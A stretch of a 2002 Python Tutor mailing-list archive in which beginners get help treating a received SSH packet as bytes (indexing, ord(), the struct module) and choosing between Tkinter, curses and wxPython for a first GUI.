(python@jayed.com) Date: Thu, 28 Feb 2002 15:16:13 -0600 Subject: [Tutor] packet parsing In-Reply-To: <20020228215719.A7775@pino.selwerd.nl> References: <20020228205326.GA54231@jayed.com> <20020228215719.A7775@pino.selwerd.nl> Message-ID: <20020228211613.GB54231@jayed.com> Remco Gerlich(scarblac@pino.selwerd.nl)@2002.02.28 21:57:19 +0000: > On 0, python@jayed.com wrote: > > My second question is: how do I look at/manipulate bytes of an incoming > > network packet? Or bits even. Right now, I have the following piece of > > code that receives the SSH server's initial key exchange packet: > > > > kexrecv = mysock.recv(blocksize) > > > > I want to directly manipulate the bits/bytes of kexrecv. Everything > > that I've done makes kexrecv into a string. And I'm having problems > > with kexrecv as a string -- I want to deal with it as a binary stream. > > The string *is* the binary stream. A string is just a bunch of bytes. That's what I thought. But "print kexrecv" returns nothing in the interpreter. I just get ">>>" back. "print kexrecv.capitalize()" returns nothing. "kexrecv.capitalize()" returns a repr() type value "'\x00\x00..." > kexrecv is a string of length 632. > > `kexrecv` is its text representation, in a way that it could be a python > literal - that means that say a zero byte is one character in the string > itself, but '\x00' in the repr - three bytes longer. Try playing around with > the string (and small parts of it) a bit more in the interpreter to get the > idea. OK, that makes sense. But how do I peel of individual bytes? (I just played with lstrip and am not having any luck -- but this is probably my lack of knowledge). So `kexrecv` is the text value. While kexrecv types as a string, I can't seem to manipulate it as a string. It keeps returning nothing but ">>>". > I don't have more time atm to reply carefully to your other comments, this > is just a quick post. Thanks for your time. From scarblac@pino.selwerd.nl Thu Feb 28 21:34:49 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 28 Feb 2002 22:34:49 +0100 Subject: [Tutor] packet parsing In-Reply-To: <20020228211613.GB54231@jayed.com>; from python@jayed.com on Thu, Feb 28, 2002 at 03:16:13PM -0600 References: <20020228205326.GA54231@jayed.com> <20020228215719.A7775@pino.selwerd.nl> <20020228211613.GB54231@jayed.com> Message-ID: <20020228223449.A7958@pino.selwerd.nl> On 0, python@jayed.com wrote: > > The string *is* the binary stream. A string is just a bunch of bytes. > That's what I thought. But "print kexrecv" returns nothing in the > interpreter. Probably they're all unprintable bytes then, like null bytes. > I just get ">>>" back. "print kexrecv.capitalize()" > returns nothing. "kexrecv.capitalize()" returns a repr() type value > "'\x00\x00..." Right, null bytes. > OK, that makes sense. But how do I peel of individual bytes? (I just > played with lstrip and am not having any luck -- but this is probably my > lack of knowledge). kexrecv[0] is the first byte, kexrecv[1] the second, etc. Try for byte ik kexrecv: print ord(byte) To see the integer values. And now, Roda JC has scored in Milan! PSV is equal vs Leeds! (back to watching football :)) -- Remco Gerlich From israel@lith.com Wed Feb 27 22:24:52 2002 From: israel@lith.com (Israel Evans) Date: Wed, 27 Feb 2002 14:24:52 -0800 Subject: [Tutor] gui questions Message-ID: I'm also fairly new to this and haven't done a ton of programming but I found that it is far simpler and less stressful to, in most cases, write the python program to work in a command line fashion and then move on to learning the crazy world of GUIs. After both areas are somewhat under control, then hooking up functionality to a gui suited to your already functioning program isn't all that difficult. I tried out Tkinter but I've been enjoying wxPython a bit more. I can't tell you exactly why, the documentation is split between pretty basic tutorials in python speak and a large majority of very detailed documentation in C++-speak which can be intimidating. The way it's setup seems somehow nicer than TKinter. The people on the mailing wxPython mailing list are very active and pretty helpful and they've helped me out a bunch. Even when they aren't responding directly to my post, it seems a number of people are dealing with the same issues so I get the benefit of many heads and fingers working on the questions I need answers to. I'm not the best person to talk to about these issues, but the above words are my 0.02. ~Israel~ -----Original Message----- From: Henry Porter [mailto:porterh@yahoo.com] Sent: 27 February 2002 3:10 PM To: python tutor Subject: [Tutor] gui questions I'm just starting to learn python and I have an idea for a program I'd like to write. I want to use some sort of gui. Would it be better for me to start out using curses or tkinter? I'd like to learn both eventually, so I'm just wondering which would be easier to use. Would wxpython be a choice also, or is it very much harder? Also, should I start writing my program for the gui from the start or write the basic functionality and a simpler interface then add the gui part later? Thanks for any tips, Henry _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From dsh8290@rit.edu Thu Feb 28 22:43:26 2002 From: dsh8290@rit.edu (dman) Date: Thu, 28 Feb 2002 17:43:26 -0500 Subject: [Tutor] packet parsing In-Reply-To: <20020228223449.A7958@pino.selwerd.nl> References: <20020228205326.GA54231@jayed.com> <20020228215719.A7775@pino.selwerd.nl> <20020228211613.GB54231@jayed.com> <20020228223449.A7958@pino.selwerd.nl> Message-ID: <20020228224326.GA12894@dman.ddts.net> On Thu, Feb 28, 2002 at 10:34:49PM +0100, Remco Gerlich wrote: | On 0, python@jayed.com wrote: | > OK, that makes sense. But how do I peel of individual bytes? (I just | > played with lstrip and am not having any luck -- but this is probably my | > lack of knowledge). | | kexrecv[0] is the first byte, kexrecv[1] the second, etc. | | Try | | for byte ik kexrecv: | print ord(byte) | | To see the integer values. In addition, look at the 'struct' module. It contains methods to treat strings as packed binary data. For example, # turn my PyInt object into a bitstream : s = struct.pack( "> i " , 13 ) # turn the bitsequence into a PyInt so I can perform mathmatical # operations on it : i = struct.unpack( "> i " , "\x00\x00\x00\x0d" )[ 0 ] (note that in this example, s will have the value that is passed to unpack() as a literal) Try it out! :-). And read the docs too. -D -- If we claim we have not sinned, we make Him out to be a liar and His Word has no place in our lives. I John 1:10 From clickron@webtv.net Thu Feb 28 23:22:28 2002 From: clickron@webtv.net (Ron) Date: Thu, 28 Feb 2002 18:22:28 -0500 (EST) Subject: [Tutor] types In-Reply-To: pythonhack@yahoo.com's message of Thu, 28 Feb 2002 10:19:15 -0800 Message-ID: <14797-3C7EBBB4-2142@storefull-166.iap.bryant.webtv.net> That's what I was looking for. Thanks for the help. I'm learning even though it's not happening quickly. But I'm having fun. Ron